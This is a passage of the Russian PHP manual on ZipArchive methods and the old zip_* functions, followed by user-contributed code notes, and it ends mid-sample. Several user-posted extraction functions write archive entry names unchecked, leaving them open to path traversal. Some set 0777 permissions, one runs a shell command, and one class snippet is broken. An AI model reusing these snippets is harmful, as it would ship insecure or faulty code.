timestamp

Время модификации (временная метка unix) файла.

flags

Необязательные флаги. В текущий момент не используются.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример создания ZIP-архива test.zip, добавления в него файла test.txt и установка времени модификации для него.

Пример #1 Архивирование файла

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->addFile('text.txt');
$zip->setMtimeIndex(0, mktime(0,0,0,12,25,2019));
$zip->close();
echo "Ok\n";
} else {
echo "KO\n";
}
?>

Примечания

Замечание:

Функция доступна только если сборка производилась с libzip ? 1.0.0.

Смотрите также

  • ZipArchive::setMtimeName() - Установить время модификации файла по его имени

User Contributed Notes

There are no user contributed notes for this page.


Установить время модификации файла по его имени

  • « ZipArchive::setMtimeIndex
  • ZipArchive::setPassword »
  • PHP Manual
  • ZipArchive
  • Установить время модификации файла по его имени

ZipArchive::setMtimeName

(PHP >= 8.0.0, PECL zip >= 1.16.0)

ZipArchive::setMtimeName — Установить время модификации файла по его имени

Описание

public ZipArchive::setMtimeName(string $name, int $timestamp, int $flags = 0): bool

Установить время модификации файла по его имени.

Список параметров

name

Имя файла.

timestamp

Время модификации (временная метка unix) файла.

flags

Необязательные флаги. В текущий момент не используются.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример создания ZIP-архива test.zip, добавления в него файла test.txt и установка времени модификации для него.

Пример #1 Архивирование файла

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->addFile('text.txt');
$zip->setMtimeName('text.txt', mktime(0,0,0,12,25,2019));
$zip->close();
echo "Ok\n";
} else {
echo "KO\n";
}
?>

Примечания

Замечание:

Функция доступна только если сборка производилась с libzip ? 1.0.0.

Смотрите также

  • ZipArchive::setMtimeIndex() - Установить время модификации файла по его индексу

User Contributed Notes

There are no user contributed notes for this page.


Установка пароля для активного архива

  • « ZipArchive::setMtimeName
  • ZipArchive::statIndex »
  • PHP Manual
  • ZipArchive
  • Установка пароля для активного архива

ZipArchive::setPassword

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setPassword — Установка пароля для активного архива

Описание

public ZipArchive::setPassword(string $password): bool

Задаёт пароль для активного архива.

Список параметров

password

Пароль для архива.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание:

Начиная с PHP 7.2.0 и libzip 1.2.0, пароль используется для распаковки архива, а также как пароль по умолчанию для ZipArchive::setEncryptionName() и ZipArchive::setEncryptionIndex(). Ранее эта функция устанавливала пароль только для распаковки. Она не не превращала не защищённый паролем ZipArchive в защищённый ZipArchive.

Смотрите также

  • ZipArchive::setEncryptionIndex() - Установить метод шифрования записи по её индексу
  • ZipArchive::setEncryptionName() - Установить метод шифрования записи по её имени

User Contributed Notes

blindfury at mailinator dot com 02-Mar-2018 07:43
To create password protected archive in PHP >= 7.2 use:

<?php
    $zip->setEncryptionName('test.txt', ZipArchive::EM_AES_256, 'test');
?>

Based on example from the documentation:

<?php

$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setEncryptionName('test.txt', ZipArchive::EM_AES_256, 'passw0rd');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}

?>
stanislav dot eckert at vizson dot de 26-Sep-2014 02:43
It seems that this function supports only decryption of password protected archives (see changelog: http://pecl.php.net/package-changelog.php?package=zip). Creation of password protected archives is not supported (they will be created simply as non-protected archives).

Example code for extraction of files from password protected ZIP archives:

<?php
    $zip = new ZipArchive();
    $zip_status = $zip->open("test.zip");

    if ($zip_status === true)
    {
        if ($zip->setPassword("MySecretPassword"))
        {
            if (!$zip->extractTo(__DIR__))
                echo "Extraction failed (wrong password?)";
        }

        $zip->close();
    }
    else
    {
        die("Failed opening archive: ". @$zip->getStatusString() . " (code: ". $zip_status .")");
    }
?>


Получение детальной информации о элементе по его индексу

  • « ZipArchive::setPassword
  • ZipArchive::statName »
  • PHP Manual
  • ZipArchive
  • Получение детальной информации о элементе по его индексу

ZipArchive::statIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::statIndex — Получение детальной информации о элементе по его индексу

Описание

public ZipArchive::statIndex(int $index, int $flags = 0): array|false

Получение детальной информации об элементе по его индексу.

Список параметров

index

Индекс элемента.

flags

ZipArchive::FL_UNCHANGED указывается, чтобы запросить информацию об исходном файле в архиве, игнорируя любые внесённые изменения.

Возвращаемые значения

Возвращает массив, содержащий детальную информацию о элементе или false в случае возникновения ошибки.

Примеры

Пример #1 Получение статистической информации о элементе

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
print_r($zip->statIndex(3));
$zip->close();
} else {
echo 'Ошибка с кодом:' . $res;
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

eion at robbmob dot com 12-Jan-2016 01:39
Note that the 'mtime' field only comes from the DOS-format time that's stored in the zip file, which is only accurate to the nearest 2-seconds.  Zip files can store mtime's in multiple, optional fields but PHP's zip library does not retrieve them (nor does it provide API to access the extra fields)

The end result is that you will see timestamps that could be out by one second (if the original timestamp was odd), and won't necessarily match was other unzip programs will show the mtime as.
Chris Lewis 20-Dec-2011 12:15
Note that the signed-integer CRC result is only true on 32-bit systems. 64-bit systems return correct CRCs.

A safer way (as recommended by crc32() function page) might be:

if ($file['crc'] < 0)
   $file['crc'] = sprintf("%u",$file['crc']);
Anonymous 16-Nov-2011 08:20
The CRC returned from this method is a signed number and so can be negative. This isn't how most CRC's are represented and so can cause problems. Another thing to know is that the standerd CRC algorithm used for zip files is CRC32b.

So to put this together lets say that you wanted to extract the first file from a zip and then compare the original CRC with the CRC for the extracted file this is what you would need to do. (proper error checking is omitted for simplicity).

<?php
 $zip = new ZipArchive();

 $zip->open("myZip.zip");

 $stat = $zip->statIndex( 0 );

 $name = $stat['name'];

 $oldCrc = $stat['crc'];

 $zip->extractTo("myPath", $name);

 $newCrc = hexdec(hash_file("crc32b", "myPath/" . $name));

 // Have to test both cases as the unsigned CRC from within the zip might appear negative as a signed int.
 if($newCrc !== $oldCrc && ($oldCrc + 4294967296) !== $newCrc) {
    echo "The files don't match!";
 }
?>


Получение детальной информации об элементе по его имени

  • « ZipArchive::statIndex
  • ZipArchive::unchangeAll »
  • PHP Manual
  • ZipArchive
  • Получение детальной информации об элементе по его имени

ZipArchive::statName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::statName — Получение детальной информации об элементе по его имени

Описание

public ZipArchive::statName(string $name, int $flags = 0): array|false

Получение детальной информации об элементе по его имени.

Список параметров

name

Имя элемента.

flags

Флаг, указывающий как должен происходить поиск имени. Кроме того, может указываться ZipArchive::FL_UNCHANGED, чтобы запросить информацию об исходном файле в архиве, игнорируя любые внесённые изменения.

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

  • ZipArchive::FL_UNCHANGED

Возвращаемые значения

Возвращает массив, содержащий детальную информацию о элементе или false в случае возникновения ошибки.

Примеры

Пример #1 Получение статистической информации о элементе

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
print_r($zip->statName('foobar/baz'));
$zip->close();
} else {
echo 'Ошибка с кодом:' . $res;
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

Stewart Rice 26-Mar-2010 04:18
Since a Unix Timestamp is measured in seconds, not milliseconds, I would have to assume that mtime is 'modified time' rather than 'millisecond time'... however it does not appear to work on a Linux system


Отменяет все изменения, сделанные в архиве

  • « ZipArchive::statName
  • ZipArchive::unchangeArchive »
  • PHP Manual
  • ZipArchive
  • Отменяет все изменения, сделанные в архиве

ZipArchive::unchangeAll

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeAll — Отменяет все изменения, сделанные в архиве

Описание

public ZipArchive::unchangeAll(): bool

Отменяет все изменения, сделанные в архиве.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

mauro dot chojrin at leewayweb dot com 29-Nov-2017 02:56
This should probably come without any surprise, but the changes can only be undone before close() is called...


Возвращает все глобальные изменения, сделанные в архиве

  • « ZipArchive::unchangeAll
  • ZipArchive::unchangeIndex »
  • PHP Manual
  • ZipArchive
  • Возвращает все глобальные изменения, сделанные в архиве

ZipArchive::unchangeArchive

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeArchive — Возвращает все глобальные изменения, сделанные в архиве

Описание

public ZipArchive::unchangeArchive(): bool

Возвращает все глобальные изменения, сделанные в архиве. В данный момент только отменяет изменения в комментариях к архиву.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отменяет все изменения у позиции с заданным индексом

  • « ZipArchive::unchangeArchive
  • ZipArchive::unchangeName »
  • PHP Manual
  • ZipArchive
  • Отменяет все изменения у позиции с заданным индексом

ZipArchive::unchangeIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeIndex — Отменяет все изменения у позиции с заданным индексом

Описание

public ZipArchive::unchangeIndex(int $index): bool

Отменяет все изменения у позиции с заданным индексом.

Список параметров

index

Индекс позиции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

till at php dot net 29-Aug-2010 08:29
Consider this example:

<?php
$zip = new ZipArchive;
$zip->open(...);

$zip->addFile('path/file', 'foo');
$zip->renameIndex(0, 'bar');

echo $zip->getNameIndex(0); // 'bar'

$zip->unchangeIndex(0);

echo $zip->getNameIndex(0); // 'false'
?>

Unless you call save() in between, the unchangeIndex() call reverts back to the initial state of the archive - where index '0' did not exist.

If you called save() after addFile() and then renamed the file, you would be able to revert/undo the name change.


Отменяет все изменения у позиции с заданным именем

  • « ZipArchive::unchangeIndex
  • Функции Zip »
  • PHP Manual
  • ZipArchive
  • Отменяет все изменения у позиции с заданным именем

ZipArchive::unchangeName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::unchangeName — Отменяет все изменения у позиции с заданным именем

Описание

public ZipArchive::unchangeName(string $name): bool

Отменяет все изменения у позиции с заданным именем.

Список параметров

name

Имя позиции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Функции Zip

Внимание

Процедурный API устарел с PHP 8.0.0. Вместо него следует использовать ZipArchive.

Содержание

  • zip_close — Закрывает дескриптор ZIP-архива
  • zip_entry_close — Закрывает дескриптор директории
  • zip_entry_compressedsize — Возвращает сжатый размер файла для дескриптора директории
  • zip_entry_compressionmethod — Возвращает метод сжатия дескриптора директории
  • zip_entry_filesize — Возвращает реальный размер файла для дескриптора директории
  • zip_entry_name — Получает имя дескриптора директории
  • zip_entry_open — Открывает директорию для чтения
  • zip_entry_read — Читает данные из открытого ранее дескриптора директории
  • zip_open — Открывает ZIP-архив
  • zip_read — Считывает следующую запись в ZIP-архиве

User Contributed Notes

vk.com/vknkk 14-Aug-2015 07:01
<?php
// Extracting all *.zip files (including subfolders) into current directory (developed & tested at Win7)
$files = glob('*.zip');
if ($files)
  foreach ($files as $fl) {
    $zip = zip_open($fl);
    if (is_resource($zip)) {
      $dir = substr($fl, 0, -4); // Directory by *.zip file name (Extract into "*/")
      if (!is_dir($dir))
        mkdir($dir);
      while (is_resource($entry = zip_read($zip))) {
        $is_file = true;
        $name = zip_entry_name($entry);
        $name_parts = explode('/', $name);
        if (count($name_parts) > 1) { // Processing subfolders
          $path = array_pop($name_parts);
          $is_file = !empty($path);
          $path = $dir;
          foreach ($name_parts as $part) {
            $path .= '/'.$part;
            if (!is_dir($path))
              mkdir($path);
          }
        }
        if ($is_file)
          file_put_contents($dir.'/'.$name, zip_entry_read($entry, zip_entry_filesize($entry)));
      }
      zip_close($zip);
    }
  }
shadowbranch at gmail dot com 30-Sep-2011 05:40
This is the simplest method to unzip a file. Pass the function your filename and it will unzip it to the current directory of the script with permissions done properly on unix type operating systems. Far simpler to understand and read.

<?php
function unzip($file){
    $zip = zip_open($file);
    if(is_resource($zip)){
        $tree = "";
        while(($zip_entry = zip_read($zip)) !== false){
            echo "Unpacking ".zip_entry_name($zip_entry)."\n";
            if(strpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR) !== false){
                $last = strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR);
                $dir = substr(zip_entry_name($zip_entry), 0, $last);
                $file = substr(zip_entry_name($zip_entry), strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR)+1);
                if(!is_dir($dir)){
                    @mkdir($dir, 0755, true) or die("Unable to create $dir\n");
                }
                if(strlen(trim($file)) > 0){
                    $return = @file_put_contents($dir."/".$file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                    if($return === false){
                        die("Unable to write file $dir/$file\n");
                    }
                }
            }else{
                file_put_contents($file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
            }
        }
    }else{
        echo "Unable to open zip file\n";
    }
}
?>
wdtemp at seznam dot cz 12-Apr-2010 12:34
Hi,
if you have the RAW CONTENT OF THE ZIP FILE IN A STRING ONLY and you can't create files on your server (because of the SAFE MODE) to be able to create a file which you can then pass to zip_open(), you'll be having hard times getting the uncompressed content of your ZIP data.
This may help:
I've written simple ZIP decompression function for decompressing the first file from the archive stored in a string (no matter what file it is). It's just about parsing a local file header of the first file, getting raw compressed data of that file and decompression of that data (usually, data in ZIP files are compressed by 'DEFLATE' method, so we'll just decompress it by gzinflate() function then).

<?php
function decompress_first_file_from_zip($ZIPContentStr){
//Input: ZIP archive - content of entire ZIP archive as a string
//Output: decompressed content of the first file packed in the ZIP archive
    //let's parse the ZIP archive
    //(see 'http://en.wikipedia.org/wiki/ZIP_%28file_format%29' for details)
    //parse 'local file header' for the first file entry in the ZIP archive
    if(strlen($ZIPContentStr)<102){
        //any ZIP file smaller than 102 bytes is invalid
        printf("error: input data too short<br />\n");
        return '';
    }
    $CompressedSize=binstrtonum(substr($ZIPContentStr,18,4));
    $UncompressedSize=binstrtonum(substr($ZIPContentStr,22,4));
    $FileNameLen=binstrtonum(substr($ZIPContentStr,26,2));
    $ExtraFieldLen=binstrtonum(substr($ZIPContentStr,28,2));
    $Offs=30+$FileNameLen+$ExtraFieldLen;
    $ZIPData=substr($ZIPContentStr,$Offs,$CompressedSize);
    $Data=gzinflate($ZIPData);
    if(strlen($Data)!=$UncompressedSize){
        printf("error: uncompressed data have wrong size<br />\n");
        return '';
    }
    else return $Data;
}

function binstrtonum($Str){
//Returns a number represented in a raw binary data passed as string.
//This is useful for example when reading integers from a file,
// when we have the content of the file in a string only.
//Examples:
// chr(0xFF) will result as 255
// chr(0xFF).chr(0xFF).chr(0x00).chr(0x00) will result as 65535
// chr(0xFF).chr(0xFF).chr(0xFF).chr(0x00) will result as 16777215
    $Num=0;
    for($TC1=strlen($Str)-1;$TC1>=0;$TC1--){ //go from most significant byte
        $Num<<=8; //shift to left by one byte (8 bits)
        $Num|=ord($Str[$TC1]); //add new byte
    }
    return $Num;
}
?>

ENJOY!!!
wdim
yarms at mail dot ru 15-Aug-2009 09:24
very short version of function for unzipping files with folders structure:
<?php

function unzip($file){

    $zip=zip_open(realpath(".")."/".$file);
    if(!$zip) {return("Unable to proccess file '{$file}'");}

    $e='';

    while($zip_entry=zip_read($zip)) {
       $zdir=dirname(zip_entry_name($zip_entry));
       $zname=zip_entry_name($zip_entry);

       if(!zip_entry_open($zip,$zip_entry,"r")) {$e.="Unable to proccess file '{$zname}'";continue;}
       if(!is_dir($zdir)) mkdirr($zdir,0777);

       #print "{$zdir} | {$zname} \n";

       $zip_fs=zip_entry_filesize($zip_entry);
       if(empty($zip_fs)) continue;

       $zz=zip_entry_read($zip_entry,$zip_fs);

       $z=fopen($zname,"w");
       fwrite($z,$zz);
       fclose($z);
       zip_entry_close($zip_entry);

    }
    zip_close($zip);

    return($e);
}

function mkdirr($pn,$mode=null) {

  if(is_dir($pn)||empty($pn)) return true;
  $pn=str_replace(array('/', ''),DIRECTORY_SEPARATOR,$pn);

  if(is_file($pn)) {trigger_error('mkdirr() File exists', E_USER_WARNING);return false;}

  $next_pathname=substr($pn,0,strrpos($pn,DIRECTORY_SEPARATOR));
  if(mkdirr($next_pathname,$mode)) {if(!file_exists($pn)) {return mkdir($pn,$mode);} }
  return false;
}

unzip("test.zip");

?>

have a nice day :)
phillpafford+php at gmail dot com 12-Jun-2008 06:28
You could just use the linux commands

<?php

// Get the date
$date = date("m-d-y");

// Make Zip name
$zipname = "archive/site-script-backup." . $date . ".zip";

// Make a zip file
$cmd = `zip -r $zipname *`;

?>
rodrigo dot moraes at gmail dot com 29-Jan-2008 07:56
Here's a more simple extended class to add a whole directory recursively, keeping the same structure. It uses SPL.

<?php
class MyZipArchive extends ZipArchive
{
    /**
     *
     * Adds a directory recursively.
     *
     * @param string $filename The path to the file to add.
     *
     * @param string $localname Local name inside ZIP archive.
     *
     */
    public function addDir($filename, $localname)
    {
        $this->addEmptyDir($localname);
        $iter = new RecursiveDirectoryIterator($filename, FilesystemIterator::SKIP_DOTS);

        foreach ($iter as $fileinfo) {
            if (! $fileinfo->isFile() && !$fileinfo->isDir()) {
                continue;
            }

            $method = $fileinfo->isFile() ? 'addFile' : 'addDir';
            $this->$method($fileinfo->getPathname(), $localname . '/' .
                $fileinfo->getFilename());
        }
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix suggested by (bart AT blueberry DOT nl) on 29-JUN-2011 with the following message. "Fix for the endless Iteratore add the flag FilesystemIterator::SKIP_DOTS"]
mmj48 at gmail dot com 08-Nov-2007 05:39
Heres a function I wrote that will extract a zip file with the same directory structure...

Enjoy:

<?php
function unzip($zipfile)
{
    $zip = zip_open($zipfile);
    while ($zip_entry = zip_read($zip))    {
        zip_entry_open($zip, $zip_entry);
        if (substr(zip_entry_name($zip_entry), -1) == '/') {
            $zdir = substr(zip_entry_name($zip_entry), 0, -1);
            if (file_exists($zdir)) {
                trigger_error('Directory "<b>' . $zdir . '</b>" exists', E_USER_ERROR);
                return false;
            }
            mkdir($zdir);
        }
        else {
            $name = zip_entry_name($zip_entry);
            if (file_exists($name)) {
                trigger_error('File "<b>' . $name . '</b>" exists', E_USER_ERROR);
                return false;
            }
            $fopen = fopen($name, "w");
            fwrite($fopen, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)), zip_entry_filesize($zip_entry));
        }
        zip_entry_close($zip_entry);
    }
    zip_close($zip);
    return true;
}
?>
nheimann at gmx dot net 03-Nov-2007 07:19
With this extension you can Add dirs with files with the ZipArchive Object

<?php
/**
 * FlxZipArchive, Extends ZipArchiv.
 * Add Dirs with Files and Subdirs.
 *
 * <code>
 *  $archive = new FlxZipArchive;
 *  // .....
 *  $archive->addDir( 'test/blub', 'blub' );
 * </code>
 */
class FlxZipArchive extends ZipArchive {
    /**
     * Add a Dir with Files and Subdirs to the archive
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    public function addDir($location, $name) {
        $this->addEmptyDir($name);

        $this->addDirDo($location, $name);
//     } // EO addDir;

    /**
     * Add Files & Dirs to archive.
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    private function addDirDo($location, $name) {
        $name .= '/';
        $location .= '/';

        // Read all Files in Dir
        $dir = opendir ($location);
        while ($file = readdir($dir))
        {
            if ($file == '.' || $file == '..') continue;

            // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File();
            $do = (filetype() == 'dir') ? 'addDir' : 'addFile';
            $this->$do($location . $file, $name . $file);
        }
    } // EO addDirDo();
}
?>
bushj at rpi dot edu 25-Jun-2007 10:59
I made a zip stream handler in case your distribution does not have the built in one using the new ZipArchive system. This one also features the ability to grab entries by index as well as by name. It is similar in capabilities to the builtin gzip/bzip2 compression stream handlers (http://us2.php.net/manual/en/wrappers.compression.php) except it does not support writing.

To use:
fopen('zip://absolute/path/to/file.zip?entryname', $mode) or
fopen('zip://absolute/path/to/file.zip#entryindex', $mode) or
fopen('zip://absolute/path/to/file.zip', $mode)

$mode can only be 'r' or 'rb'. In the last case the first entry in the zip file is used.

<?php
class ZipStream {
  public $zip; //the zip file
  public $entry; //the opened zip entry
  public $length; //the uncompressed size of the zip entry
  public $position; //the current position in the zip entry read
  //Opens the zip file then retrieves and opens the entry to stream
  public function stream_open($path, $mode, $options, &$opened_path) {
    if ($mode != 'r' && $mode != 'rb') //only accept r and rb modes, no writing!
      return false;
    $path = 'file:///'.substr($path, 6); //switch out file:/// for zip:// so we can use url_parse
    $url = parse_url($path);
    //open the zip file
    $filename = $url['path'];
    $this->zip = zip_open($filename);
    if (!is_resource($this->zip))
      return false;

    //if entry name is given, find that entry
    if (array_key_exists('query', $url) && $url['query']) {
      $path = $url['query'];
      do {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      } while (zip_entry_name($this->entry) != $path);
    } else { //otherwise get it by index (default to 0)
      $id = 0;
      if (array_key_exists('fragment', $url) && is_int($url['fragment']))
        $id = $url['fragment']*1;
      for ($i = 0; $i <= $id; $i++) {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      }
    }
    //setup length and open the entry for reading
    $this->length = zip_entry_filesize($this->entry);
    $this->position = 0;
    zip_entry_open($this->zip, $this->entry, $mode);
    return true;
  }
  //Closes the zip entry and file
  public function stream_close() { @zip_entry_close($this->entry); @zip_close($this->zip); }
  //Returns how many bytes have been read from the zip entry
  public function stream_tell() { return $this->position; }
  //Returns true if the end of the zip entry has been reached
  public function stream_eof() { return $this->position >= $this->length; }
  //Returns the stat array, only 'size' is filled in with the uncompressed zip entry size
  public function url_stat() { return array('dev'=>0, 'ino'=>0, 'mode'=>0, 'nlink'=>0, 'uid'=>0, 'gid'=>0, 'rdev'=>0, 'size'=>$this->length, 'atime'=>0, 'mtime'=>0, 'ctime'=>0, 'blksize'=>0, 'blocks'=>0); }
  //Reads the next $count bytes or until the end of the zip entry. Returns the data or false if no data was read.
  public function stream_read($count) {
    $this->position += $count;
    if ($this->position > $this->length)
      $this->position = $this->length;
    return zip_entry_read($this->entry, $count);
  }
}
//Register the zip stream handler
stream_wrapper_register('zip', 'ZipStream'); //if this fails there is already a zip stream handler and we will just use that one
?>
nielsvandenberge at hotmail dot com 11-May-2007 02:29
This is the function I use to unzip a file.
It includes the following options:
* Unzip in any directory you like
* Unzip in the directory of the zip file
* Unzip in a directory with the zipfile's name in the directory of the zip file. (i.e.: C:\test.zip will be unzipped in  C:\test\)
* Overwrite existing files or not
* It creates non existing directories with the function Create_dirs($path)

You should use absolute paths with slashes (/) instead of backslashes (\).
I tested it with PHP 5.2.0 with php_zip.dll extension loaded

<?php
/**
 * Unzip the source_file in the destination dir
 *
 * @param   string      The path to the ZIP-file.
 * @param   string      The path where the zipfile should be unpacked, if false the directory of the zip-file is used
 * @param   boolean     Indicates if the files will be unpacked in a directory with the name of the zip-file (true) or not (false) (only if the destination directory is set to false!)
 * @param   boolean     Overwrite existing files (true) or not (false)
 *
 * @return  boolean     Succesful or not
 */
function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)
{
  if ($zip = zip_open($src_file))
  {
    if ($zip)
    {
      $splitter = ($create_zip_name_dir === true) ? "." : "/";
      if ($dest_dir === false) $dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";

      // Create the directories to the destination dir if they don't already exist
      create_dirs($dest_dir);

      // For every file in the zip-packet
      while ($zip_entry = zip_read($zip))
      {
        // Now we're going to create the directories in the destination directories

        // If the file is not in the root dir
        $pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
        if ($pos_last_slash !== false)
        {
          // Create the directory where the zip-entry should be saved (with a "/" at the end)
          create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
        }

        // Open the entry
        if (zip_entry_open($zip,$zip_entry,"r"))
        {

          // The name of the file to save on the disk
          $file_name = $dest_dir.zip_entry_name($zip_entry);

          // Check if the files should be overwritten or not
          if ($overwrite === true || $overwrite === false && !is_file($file_name))
          {
            // Get the content of the zip entry
            $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));

            file_put_contents($file_name, $fstream );
            // Set the rights
            chmod($file_name, 0777);
            echo "save: ".$file_name."<br />";
          }

          // Close the entry
          zip_entry_close($zip_entry);
        }
      }
      // Close the zip-file
      zip_close($zip);
    }
  }
  else
  {
    return false;
  }

  return true;
}

/**
 * This function creates recursive directories if it doesn't already exist
 *
 * @param String  The path that should be created
 *
 * @return  void
 */
function create_dirs($path)
{
  if (!is_dir($path))
  {
    $directory_path = "";
    $directories = explode("/",$path);
    array_pop($directories);

    foreach($directories as $directory)
    {
      $directory_path .= $directory."/";
      if (!is_dir($directory_path))
      {
        mkdir($directory_path);
        chmod($directory_path, 0777);
      }
    }
  }
}

// Extract C:/zipfiletest/zip-file.zip to C:/zipfiletest/zip-file/ and overwrites existing files
unzip("C:/zipfiletest/zip-file.zip", false, true, true);

// Extract C:/zipfiletest/zip-file.zip to C:/another_map/zipfiletest/ and doesn't overwrite existing files. NOTE: It doesn't create a map with the zip-file-name!
unzip("C:/zipfiletest/zip-file.zip", "C:/another_map/zipfiletest/", true, false);

?>
jeswanth@gmail 30-Apr-2007 12:55
Hi, all

There are lot of functions given below which etracts files, but what they lack is setting file permissions. On some servers file permissions are very important and the script cease to work after creating first directory, So I have added chmod to the code. There is only one limitation to the code, files without file extension are neither treated as files or directories so they are not chmoded, anyway this does not affect the code. Hope this helps.

<?php
function unpackZip($dir,$file) {
   if ($zip = zip_open($dir.$file.".zip")) {
     if ($zip) {
       mkdir($dir.$file);
     chmod($dir.$file, 0777);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $dir_name = dirname(zip_entry_name($zip_entry));
           if ($dir_name != ".") {
             $dir_op = $dir.$file."/";
               foreach ( explode("/",$dir_name) as $k) {
                 $dir_op = $dir_op . $k;
                 if (is_file($dir_op)) unlink($dir_op);
                 if (!is_dir($dir_op)) mkdir($dir_op);
            chmod($dir_op, 0777);
                 $dir_op = $dir_op . "/" ;
                 }
               }
           $fp=fopen($dir.$file."/".zip_entry_name($zip_entry),"w+");
        chmod($dir.$file."/".zip_entry_name($zip_entry), 0777);
           fwrite($fp,$buf);

           fclose($fp);

           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}

$dir = $_SERVER['DOCUMENT_ROOT']."/"."destdirectory/";
$file = 'zipfilename_without_extension';
unpackZip($dir,$file);
$print = $_SERVER['DOCUMENT_ROOT'];
?>
bholub at chiefprojects dot com 17-Oct-2006 12:14
This will simply unpack (including directories) $zip to $dir -- in this example the zip is being uploaded.
<?php
    $dir = 'C:\\reports-temp\\';
    $zip = zip_open($_FILES['report_zip']['tmp_name']);
    while($zip_entry = zip_read($zip)) {
        $entry = zip_entry_open($zip,$zip_entry);
        $filename = zip_entry_name($zip_entry);
        $target_dir = $dir.substr($filename,0,strrpos($filename,'/'));
        $filesize = zip_entry_filesize($zip_entry);
        if (is_dir($target_dir) || mkdir($target_dir)) {
            if ($filesize > 0) {
                $contents = zip_entry_read($zip_entry, $filesize);
                file_put_contents($dir.$filename,$contents);
            }
        }
    }
?>
angelnsn1 at hotmail dot com 26-Jan-2006 06:06
this function extract all files and subdirectories, you can choose verbose mode for get paths of files extracted. the function return a msg what indicate the error, if msg is OK, all is done.

---

code:

<?php
function unzip($dir, $file, $verbose = 0) {

   $dir_path = "$dir$file";
   $zip_path = "$dir$file.zip";

   $ERROR_MSGS[0] = "OK";
   $ERROR_MSGS[1] = "Zip path $zip_path doesn't exists.";
   $ERROR_MSGS[2] = "Directory $dir_path for unzip the pack already exists, impossible continue.";
   $ERROR_MSGS[3] = "Error while opening the $zip_path file.";

   $ERROR = 0;

   if (file_exists($zip_path)) {

         if (!file_exists($dir_path)) {

            mkdir($dir_path);

         if (($link = zip_open($zip_path))) {

            while (($zip_entry = zip_read($link)) && (!$ERROR)) {

               if (zip_entry_open($link, $zip_entry, "r")) {

                  $data = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                  $dir_name = dirname(zip_entry_name($zip_entry));
                  $name = zip_entry_name($zip_entry);

                  if ($name[strlen($name)-1] == '/') {

                        $base = "$dir_path/";

                     foreach ( explode("/", $name) as $k) {

                        $base .= "$k/";

                        if (!file_exists($base))
                           mkdir($base);

                     }

                  }
                  else {

                      $name = "$dir_path/$name";

                      if ($verbose)
                       echo "extracting: $name<br>";

                    $stream = fopen($name, "w");
                    fwrite($stream, $data);

                  }

                  zip_entry_close($zip_entry);

               }
               else
                  $ERROR = 4;

              }

              zip_close($link);

           }
           else
              $ERROR = "3";
       }
       else
